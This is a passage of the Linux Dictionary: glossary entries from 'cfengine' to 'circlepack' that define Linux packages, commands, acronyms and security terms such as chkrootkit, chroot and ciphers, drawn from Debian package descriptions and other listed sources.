Tool for configuring and maintaining network machines The main purpose of cfengine is to allow the system administrator to create a single central file which will define how every host on a network should be configured. cfengine is also useful as an interpreter for a general scripting language for ordinary users. It is handy for tidying up junk files and for maintaining `watchdog' scripts to manage access rights and permissions on files when collaborating with other users. It takes a while to set up cfengine for a network (especially an already existing network), but once that is done you will wonder how you ever lived without it! From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cfi

Copyright does not exist, book about hacker culture. Copyright does not exist: Book about hacker culture, folklore and history by Linus Walleij. This is a translation from the original Swedish text. In HTML format. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cfingerd

Linux Dictionary

Configurable finger daemon This is a free replacement for standard finger daemons such as GNU fingerd and MIT fingerd. Cfingerd can enable/disable finger service to individual users, rather than to all users on a given host. Cfingerd is able to respond to a finger request to a specified user by running a shell script (e.g., finger doorbell@mysite.mydomain might cause a sound file to be sent) rather than just a plain text file. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cfitsio2

Shared library for I/O with FITS format data files FITS (Flexible Image Transport System) is a data format most used in astronomy. cfitsio is a library of ANSI C routines for reading and writing FITS format data files. A set of Fortran-callable wrapper routines are also included for the convenience of Fortran programmers. This package contains what you need to run programs that use this library.

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cflow

C function call hierarchy analyzer The cflow command reads the given program source and attempts to print a graph of the program's function call hierarchy to the standard output. From Debian 3.0r0

APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cflow

print a function call hierarchy From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CFM

ConFiguration Management (FDDI, SMT) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CFMC

Committee to Fight Microsoft Corporation (org., MS) From VERA

CFP

Call For Papers From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CFS

Center for Standards (org., JIEO, DISA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CFS

Cryptographic FileSystem (Linux, cryptography) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cfs

Cryptographic Filesystem CFS pushes encryption services into the Unix(tm) file system. It supports secure storage at the system level through a standard Unix file system interface to encrypted files. Users associate a cryptographic key with the directories they wish to protect. Files in these directories (as well as their pathname components) are transparently encrypted and decrypted with the specified key without further user intervention. CFS employs a novel combination of DES stream and codebook cipher modes to provide high security with good performance on a modern workstation. CFS can use any available file system for its underlying storage without modification, including remote file servers such as NFS. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cftp

A full-screen ftp client. Cftp is an ftp client where you just use the arrow keys to move around and get what you want. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CFV

C

Call For Vote (Internet, Usenet), "CfV" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cfv

tests and creates .sfv, .csv and md5 files cfv is a utility to both test and create .sfv (Simple File Verify) .csv, and md5sum files. These files are commonly used to ensure the correct retrieval or storage of data. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CGA

Colour Graphics Adapter From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CGA

Graphics Communications Association (org.) From VERA

Common Gateway Interface (WWW) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CGI

Computer Generated Imagery From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CGI

Computer Graphics Interface From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CGI

Computer Graphics International (conference) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CGI (Common Gateway Interface)

An interface between a Web site and a user. It allows forms, surveys and other documents to be filled on-line and the results automatically sent to the web site's UNIX server. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CGI (Common Gateway Interface)

Used on Web servers to transmit data between scripts and/or applications and then return the data to the Web page or browser. CGI scripts are often created using the Perl language, and can generate dynamic Web content (including e-commerce shopping baskets, discussion groups, survey forms, current news, etc.). From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cgi-bin

The most common name of a directory on a web server in which CGI programs are stored. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cgiemail

CGI Form-to-Mail converter cgiemail is a flexible CGI-based tool that will allow non-programmers to create forms to be emailed. Note that it's no longer actively maintained upstream and has a history of security problems, so you may wish to use another package, such as mailto. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cgilib

Simple CGI Library This library provides a simple programming API to the Common Gateway Interface (CGI). It features HTTP Redirect, provides read access to FORM variables, sets HTTP Cookies and reads them. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cgwrap

allows ordinary users to run their own CGI scripts a gateway that allows more secure user access to CGI programs on an HTTPd server than is provided by the http server itself. The primary function of CGIwrap is to make certain that any CGI script runs with the permissions of the user who installed it, and not those of the server. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CGM

Computer Graphics Metafile (ISO 8632) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CGMS

Copy Generation Management System (CD) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cgoban

Complete Go board Cgoban (Complete Goban) is a computerized board on which you can play the game of Go against another player, view and edit smart-go files, and connect to Go servers on the Internet. It can also interface with computer Go programs that speak Go modem protocol. You will need some sort of image converter if you wish to use the utility provided to capture "screen shots" of a cgoban game. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CGRM

Computer Graphics Reference Model (ISO, IEC, ISO/IEC 11072) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CGVDI

Computer Graphic Virtual Device Interface, "CG-VDI" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cgvg

command-line source browsing tool. cgvg is a pair of Perl scripts ("cg" and "vg") which are meant to assist a programmer in doing command-line source browsing. The idea is you can easily search for keywords in the code, and jump to the file and line where a match is found. Used with ctags(1), this can really help with jumping around and following code. Some features include a human-readable output, coloring, bolding (and alternate bolding), and just sheer convenience for a programmer. cgvg uses the Perl internal find and does it's own searching, rather than being a wrapper for UNIX find(1) and grep(1). There is a ~/.cgvgrc file for per-user configuration, and some nice features like coloring, and multiple log files. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chage

change user password expiry information From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CHAID

CHisquard Automatic Interaction Detector / Detection (SPSS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ChainSaw Linux

ChainSaw Linux had video production, but as of May 4, 2002, the original Editing Edition is seen as "the ultimate goal for ChainSaw Linux." A 'special purpose/mini' distribution. From LWN

Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

challenge (challenge-response)

A method to authenticate users that avoids sending passwords over the network. It goes something like this (though the details among various programs are different). the client requests access the server sends back random data the client then encrypts/ hashes the data using the password the server checks the result In this manner, the client proves it knows the correct password without ever sending it across the wire. Key point: In most cases the user is prompted for the password, which the client then stores in memory. In the use of smart cards, however, the system may give the user the challenge

string, which the user then types into the smart card. The smart card then produces a response, which the user must type back into the system. In this way, the user validates that they have the smart card. Key point: Challenge–response systems are thought to be more secure because the challenge/response is different every time. This guards against replay attacks as well as making cracking more difficult. From Hacking–Lexicon <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

chameleon

Application for putting pictures or color in the root window Using GTK and Imlib, Chameleon allows the use to place a picture in any format or a color chosen from a color wheel in the root window of X (the background). It also can be run from the command line w/o using the GTK interface. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

change–control

An important security practice where changes to the systems are reviewed ahead of time to validate they are appropriate, then recorded in order to "roll back" in case they introduce a fault. A common use for change–control is validating that a firewall's ruleset doesn't degrade. Change–control is also used for maintaining system patches. From Hacking–Lexicon <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

changeaudiocddev

change the /dev/cdrom link From whatis <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

ChangeLog file

A specially formatted list containing a history of all changes ever done to the package, by whom, and on what date. Used to track work on the package. From Rute–Users–Guide <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

changetrack

Monitor (and recover from) changes to configuration files A program to monitor changes to a set of files. If files are modified one day, and the machine starts working incorrectly some days later, changetrack can provide information on which files were modified, and help locate the problem. Changetrack will also allow recovery of the files from any stage using RCS. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

chaos

Replacement of Gnus with gnus–mime for SEMI. Chaos is the latest branch of normally Semi–gnus. Semi–gnus is a replacement of Gnus with gnus–mime for SEMI. It has all features of Gnus and gnus–mime, so there are no need to install Gnus to use it, and you must not use gnus–mime for SEMI. It requires SEMI package, so please get and install SEMI package before to install it. Chaos is one of Semi–gnus variants. Now, "Semi–gnus" is generic name of Gnus for SEMI. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

CHAP

Challenge–Handshake Authentication Protocol – used to verify a user's name and password for PPP Internet connections. It is more secure than the other main authentication protocol (PAP).From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

CHAP

[PPP] Challenge Handshake Authentication Protocol (PPP, RFC 1334/1994) From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

character

An object, such as a symbol, that is comprised of one byte of computer storage. From Redhat–9–Glossary <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

character device

System component or peripheral (such as an Ethernet card or printer) that is accessed without buffer cache memory. From Redhat–9–Glossary <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

charset

Set an ACM for use in one of the G0/G1 charset slots. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chase

Follow a symlink and print out its target file Chase is a small utility for tracking down the actual file that a symbolic link points to – chasing the symlink, if you will. The result of a successful run is guaranteed to be an existing file which is not a symbolic link. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chasen

a Japanese Morphological Analysis System ChaSen is a morphological analysis system. It can segment and tokenize Japanese text string, and can output with many additional informations (pronunciation, semantic information, and others). It will print the result of such an operation to the standard output, so that it can either written to a file or further processed. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chastity-list

blacklists for SquidGuard squidGuard is a free (GPL), flexible and ultra fast filter, redirector and access controller plugin for squid. It lets you define multiple access rules with different restrictions for different user groups on a squid cache. squidGuard uses squid's standard redirector interface. This package contains blacklists provided by the Chastity project. Chastity intends to make a maintained ACL-list for squid for use in public schools and other organizations. The projects is divided into a web-based administration tool, datastorage and client-tools. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chat

Online, realtime chatting is one of the more popular features of the Internet. There are many popular systems. Among the hacking community, services like IRC and ICQ are popular. Some popular commercial services include Yahoo messenger, AOL Instant Messenger (AIM), and Microsoft Messenger. Key point: Favorite because it provides real-time anonymous communication. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chattr

change file attributes on a Linux second extended file system From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chbg

A tool for changing the desktop background image in X11 A GTK+ based program that lets you periodically change your X desktop. It has several random effects, a slideshow, and and may act as a xscreensaver hack or as a standalone screensaver. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chbg

ChBg is for changing desktop backgrounds in a given period. It can render images with 10 modes (such as tiled, centered, scaled, etc.). It uses Imlib1, Imlib2, or gdk_pixbuf for loading images, so it supports many image formats. This version uses gdk-pixbuf. ChBg has a windowed setup program, is able to load setup files, can be used as slideshow picture previewer in its own window or as a desktop background, and can be used as screensaver or as an xscreensaverhack. It has a dialog for fast previewing of pictures and very usable thumbnail previews. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CHCP

CHange Code Page (DOS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CHDL

Computer Hardware Description Language (HDL) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chdrvfont

Kuo Chiao 16x16 font for CHDRV Chinese console terminal This package contains the Kuo Chiao 16x16 Chinese bitmap font and the corresponding 8x16 ASCII font files (kcchin16.f00 and

kcctext16.f00) for the CHDRV Chinese console terminal for Linux. These fonts were part of the Kuo Chiao Chinese System generously donated to the Taiwan Academic Network (TANet). To the best of my knowledge, these fonts have since been widely distributed all over the world and are now in the public domain. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

check

A unit test framework for C Check features a simple interface for defining unit tests, putting little in the way of the developer. Tests are run in a separate address space, so Check can catch both assertion failures and code errors that cause segmentation faults or other signals. The output from unit tests can be used within source code editors and IDEs. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

checkbot

a WWW link verifier Checkbot is a perl5 script which can verify links within a region of the World Wide Web. It checks all pages within an identified region, and all links within that region. After checking all links within the region, it will also check all links which point outside of the region, and then stop. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

checkmp3

identify MP3s that do not follow the MP3 format mp3_check helps to identify in explicit detail MP3s that do not correctly follow the MP3 format. It also looks for invalid frame headers, missing frames, etc., and generates useful statistics. This can be useful when building a high-quality mp3 archive... From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

checksecurity

check for changes to setuid programs From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

checkservice

Checks the status of services on (remote) hosts Checkservice is a simple and fast service checking perl script. It is able to show the results in many ways: by keeping logs, showing it on the PHP status page, output that MRTG can use or warning(plugins) if something is wrong. Checkservice features grouping of hosts, very easy configuration and thorough service checking using checkplugins. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

checksum

A number computed by adding together all the characters from an entire file in a special mathematical way. It is useful for ensuring a file has been transferred correctly. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

checksum

A technique for detecting if data inadvertently changes during transmission. The sender simply divides all the data up into two-character numbers, then adds all the numbers together. The receiver makes the same calculation, and checks the calculated checksum with the transmitted checksum. If they don't match, then the receiver knows the data was corrupted in transit. Key point: Checksums are not secure against intentional changes by hackers. For that, you need a cryptographic hash. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Checksum

An acronym for SUMmation CHECK. In data communications, an error-checking technique in which the number of bits in a unit of data is summed, transmitted along with the data, and checked by the receiving computer. If the sum differs, an error probably occurred in transmission and the transmission is repeated. A commonly used personal computer communications protocol called XMODEM uses the checksum technique. In some virus scanning and file integrity software checksums are calculated for every file in a directory and the results are stored in the directory. When the program is scanning it compares the checksum information stored in the directory with the current checksum for each scanned file. A difference in the sum may indicate that the file has been infected by a virus that doesn't leave a recognised signature. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cheesetracker

Sound Module Tracking Program (IT – Impulse Tracker Clone) This program is used to create what is called 'Sound Modules', files containing samples of, for instance, piano's and guitars, and a couple of play-patterns with notes, durations and effects. If these patterns are sequenced, a melody will play according to the notes and instruments you set in the pattern. This program is a direct clone of the MSDOS program called Impulse Tracker. It's not hard to learn, and very funny to play around with. This version is only capable of loading .IT type files (the original Impulse Tracker format). To start and find some cool pre-made tunes go to <ftp://ftp.scene.org/pub/music/>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chemtool

GTK-based chemical structures drawing program Chemtool is a GTK+ based 2D chemical structure editor for X11. It supports many bond styles, most forms of text needed for chemical typesetting and splines/arcs/curved arrows. Drawings can be exported to MOL and PDB format, SVG or XFig format for further annotation, as a PiCTeX drawing, as a bitmap or as Postscript files (several of these through XFig's companion program transfig). The package also contains a helper program, cht, to calculate sum formula and (exact) molecular weight from a chemtool drawing file. Cht can either be called directly by Chemtool or on the console. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cheops

Network swiss army knife Cheops is a combination of a variety of network tools to provide system administrators and users with a simple interface to managing and accessing their networks. Cheops aims to do for the network what the file manager did for the filesystem. Additionally, cheops has taken on the role of a network management system, in the same category as one might put HP Openview. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CHEST

Computers in Higher Education Software Team (org., UK) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Chew

A component of network lag, chew is the percentage of packets that are 'eaten' by the network connection. Ideally no packets should be lost, but the Internet is often anything but ideal. From KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chfn

change user name and information From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chgrp

Changes the group ownership of each given file to group, which can be either a group name or a numeric group ID. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chicken

A simple Scheme-to-C compiler Why CHICKEN? – R5RS support. – SRFIs 0, 1, 2, 4, 6, 7, 8, 9, 10, 13, 14, 16, 18, 22 and 23 – Syntax-case highlevel macros – Lightweight threads based on first-class continuations – Pattern matching with Andrew Wright's match package – Record structures – A simple and straightforward module system – An object system with multiple inheritance, multimethods and a meta-object protocol – Separated compilation poses no problem and full tail-recursion and first-class continuations are supported. – Extended comment- and string-literal syntaxes – Libraries for regular expressions, string handling, Common LISP style format, UNIX system calls and extended data structures – Create interpreted or compiled shell scripts written in Scheme – Compiled C files can be easily distributed – Generates quite portable C code and compiled files generated by it (including itself) should work without any change on DOS, Windows, most UNIX-like platforms, and with minor changes on other systems. – Linkage to C modules and C library functions is straightforward. Compiled programs can easily be embedded into existing C code.

– Simple. It can be used as a pedagogical tool for anybody who is interested in the workings of a compiler. – Extendable, since its code generation scheme, runtime system, and garbage collector fit neatly into a C environment. – Offers better performance than nearly all interpreter based implementations, but still provides full Scheme semantics. – Probably is the first implementation of Scheme that uses Henry Baker's [Cheney on the M.T.A] concept. Usually, you will also need to install the chicken–dev package. The source files are not included since you could easily get them with the Debian source package. If you really feel the needs to get them under /usr/share/chicken/src, then please let me know. There are many Scheme implementations available in Debian, have a look at each of them! Have fun! From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

child process

A process created by another process (the parent process). Each process may create many child processes but will have only one parent process, except for the very first process which has no parent. The first process, called init in Linux, is started by the kernel at boot time and never terminates. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chilight

highlight a C source file From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CHILL

CCITT High Level programming Language (CCITT) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chill

The GNU CHILL compiler. This is the ITU CHILL compiler. CHILL is the "CCITT High–Level Language", where CCITT is the old name for what is now ITU, the International Telecommunications Union. It is a language in the Modula–2 family, and targets many of the same applications as Ada (especially large embedded systems). CHILL was never used much in the United States, but is still being used in Europe, Brazil, Korea, and other places. This is a dependency package providing the default GNU CHILL compiler for Debian GNU/Linux systems (version 2.95.4 for architecture i386). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chimera2

Web browser for X Simple, fast, free web browser. This is an alpha–test version; some of the rendering routines are buggy. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Chinese 2000 Linux

Chinese 2000 Linux comes from Hong Kong. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Chinese Linux Extension

CLE is still there, mostly in Chinese, last update November 9, 2001. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chipmunk

a circuit schematic capture tool and simulation environment. A circuit schematic capture tool and simulation environment. Log is a large circuit editing and simulation system. It has facilities for digital simulation (the original LOG), analog simulation (AnaLOG), network generation (LOGNTK), and plotting (LPLOT). Log is the most popular Chipmunk tool. This package contains analog, diglog and loged. For more information, please see the docs contained in log–doc package. Log needs the p–system emulation runtime libraries for Chipmunk tools to work, which are included in psys packages. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chkconfig

Chkconfig is a basic system utility. It updates and queries runlevelinformation for system services. Chkconfig manipulates the numerous symbolic links in /etc/rc*.d, to relieve system administrators of some of the drudgery of manually editing the symbolic links. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chkdupexe

find duplicate executables From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chkfontpath

This is a simple terminal mode program for configuring the directories in the X font server's path. It is mostly intended to be used internally by RPM when packages with fonts are added or removed, but it may be useful as a standalone utility in some instances. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chkfontpath

This is a simple terminal mode program for configuring the directories in the X font server's path. It is mostly intended to be used 'internally' by RPM when packages with fonts are added or removed, but it may be useful as a stand-alone utility in some instances. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chkmail

check for new mail From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chkrootkit

Checks for signs of rootkits on the local system chkrootkit identifies whether the target computer is infected with a rootkit. Some of the rootkits that chkrootkit identifies are: 1. lrk3, lrk4, lrk5, lrk6 (and some variants); 2. Solaris rootkit; 3. FreeBSD rootkit; 4. t0rn (including latest variant); 5. Ambient's Rootkit for Linux (ARK); 6. Ramen Worm; 7. rh[67]-shaper; 8. RSHA; 9. Romanian rootkit; 10. RK17; 11. Lion Worm; 12. Adore Worm. Please note that this is not a definitive test, it does not ensure that the target has not been cracked. In addition to running chkrootkit, one should perform more specific tests. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chktex

Finds typographic errors in LaTeX * Supports over 40 warnings. * Supports "\input" command; both TeX and LaTeX version. Actually includes the files. "TEXINPUTS"-equivalent search path. * Intelligent warning/error handling. The user may promote/mute warnings to suit his preferences. You may also mute warnings in the header of a file; thus killing much unwanted garbage. * Supports both LaTeX 2.09 and LaTeX2e. * Flexible output handling. Has some predefined formats and lets the user specify his own format. Uses a "printf()" similar syntax. "lacheck" compatible mode included for interfacing with the AUC-TeX Emacs mode. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chktri

check for trigraphs in C source code From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chmod

changes the permissions for a file; permissions should include a letter designating who gets permissions (u for the user, g for the group, o for others, or a for all) followed by a + or - (to give or take away the permission) followed by the kind of permission (r for read access, w for write access, x for execute if the file is a program or script). From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chording

The simultaneous pressing of two or more buttons or keys on an input device such as a keyboard or mouse that produces one set action. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chos

Easy Boot loader with a Boot-Menu Easy to use Boot-Loader for Linux / DOS / other Operating systems. It works like lilo but offers a simple menu on boot. No strange prompt anymore! Background images and more! Includes X interface to configure the boot screen and all parameters From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chown

changes the user and/or group ownership of each given file as specified by the first non-option argument as follows. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chpasswd

update password file in batch From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chpp

A powerful and simple preprocessor CHPP is a powerful preprocessor originally designed for, but not limited to, HTML. CHPP combines features of CPP, M4, Perl and Scheme. Among the features of CHPP are – CHPP is non-intrusive, i.e. you can take already existing text and just pipe it through CHPP and it is likely it won't change. – User-defined macros, which can be recursive – Complex data structures (lists and hashes) – Powerful looping constructs – Regular expression matching – Support for CGI scripting – An interface to SQL-Servers (at the moment mSQL and MySQL). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chromium

Slick scrolling space shooter Chromium is a top down fast paced high action scrolling space shooter using sdl libs. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chromium

You are captain of the cargo ship Chromium B.S.U., responsible for delivering supplies to our troops on the front line. Your ship has a small fleet of robotic fighters which you control from the relative safety of the Chromium vessel.– Do not let ANY enemy ships get past your fighters! Each enemyship that makes it past the bottom of the screen will attackthe Chromium, and you lose a fighter.– Use your fighters as weapons! Crash into enemies to destroy thembefore they can get past you.– Strategic suicide is a powerful tactic! When the Chromium launches a new fighter, it releases a high energy burst which destroys all enemies in range.– Self-destruct to preserve your ammunition! A double-right-click will cause your current fighter to self-destruct. Before theship blows up, it ejects its ammunition so that the next fighter can pick it up. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chrony

It sets your computer's clock from time servers on the Net. It consists of a pair of programs : `chronyd'. This is a daemon which runs in background on the system. It obtains measurements (e.g. via the network) of the system's offset relative to other systems, and adjusts the system time accordingly. For isolated systems, the user can periodically enter the correct time by hand (using `chronyc'). In either case, `chronyd' determines the rate at which the computer gains or loses time, and compensates for this. `chronyc'. This is a command-line driven control and monitoring program. An administrator can use this to fine-tune various parameters within the daemon, add or delete servers etc whilst the daemon is running. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chroot

Makes the root directory (/) become something other than its default for the lifetime of the current process. It can only be run by privileged users and is used to give a process (commonly a network server such as FTP or HTTP) access to a restricted portion of the file system. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chroot (jail)

A UNIX feature that creates a limited sandbox allowing a process to view only a single subtree of the filesystem. The jail call in BSD is a more advanced version for creating the same sort of sandbox.

Point: In order for it to work properly, some common programs and libraries (e.g. /bin/sh, /usr/lib/libc.so.1, ...) need to be copied/linked to the appropriate locations in the new directory tree.

Key point: A process running with root access can break out of a chrooted environment. Therefore, it should be used in conjunction with setuid. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CHRP

Common Hardware Reference Platform (AIM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chrpath

Tool to edit the rpath in ELF binaries rpath allows you to change the rpath (where the application looks for libraries) in an application. It does not (yet) allow you to add an rpath if there isn't one already. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CHS

Cylinder Head Sectors From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CHS

stands for Cylinder/Head/Sector. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CHS (Cylinder/Head/Sector)

Disk information required by FDISK during partitioning. From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

chsh

change login shell From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cipher (decipher)

In cryptography, the word cipher means an encryption algorithm. A cipher transforms the original data/message into pseudo-random data/message of the same length. In order to decipher the message, a reverse transformation must be applied. Key point: A block cipher is one that encrypts a block of data at a time. For example, DES uses a block size of 64-bits. Each input block must correspond to exactly one output block (like a codebook). A block-cipher suffers from the fact the same data repeated in a message would be encoded in the same way. Consider a block size of 8-bit encrypting English text; you could therefore figure out all the letter 'e's in the cipher text because they are the most common letter used. Therefore, block-ciphers are often used in a chaining mode such that the same pattern will indeed be decrypted differently. Key point: A stream cipher is essentially a chained block cipher with a block size of 1 (either 1-bit or 1-byte). It generates a keystream against which it XORs the plaintext, operating much like a one-time pad, though less secure in theory but more secure in practice. Example: Some popular ciphers are: DES The original widely-used computer-based encryption cipher that spawned the industry, but easily crackable today. triple DES A more secure form of DES whereby data is simply encrypted three different times. RC4 One of the most widely used ciphers today because of its prevalent use within web browsers and SSL. RC2 A cipher similar to RC4. IDEA Gained popularity because it was used as the default cipher for PGP. Blowfish Popular

cipher because of its open source and non-patented status. CAST-128 Alternate cipher in PGP. Skipjack Controversal cipher designed for the Clipper chip, a government program to encourage key recovery for law enforcement. GOST 28147 Russian standard with 256-bit key. AES The new American standard for replacing DES. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ciphertext

In cryptography, ciphertext describes the data after it has been encrypted. Contrast: clear-text, plaintext. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CIR

Committed Information Rate (ATM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Centre for International Research on Communication and Information Technology (org., Australia) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Circle MUDLinux

MUDLinux is minidistribution of Linux containing a running Circle MUDServer. A 'special purpose/mini' distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

circlepack

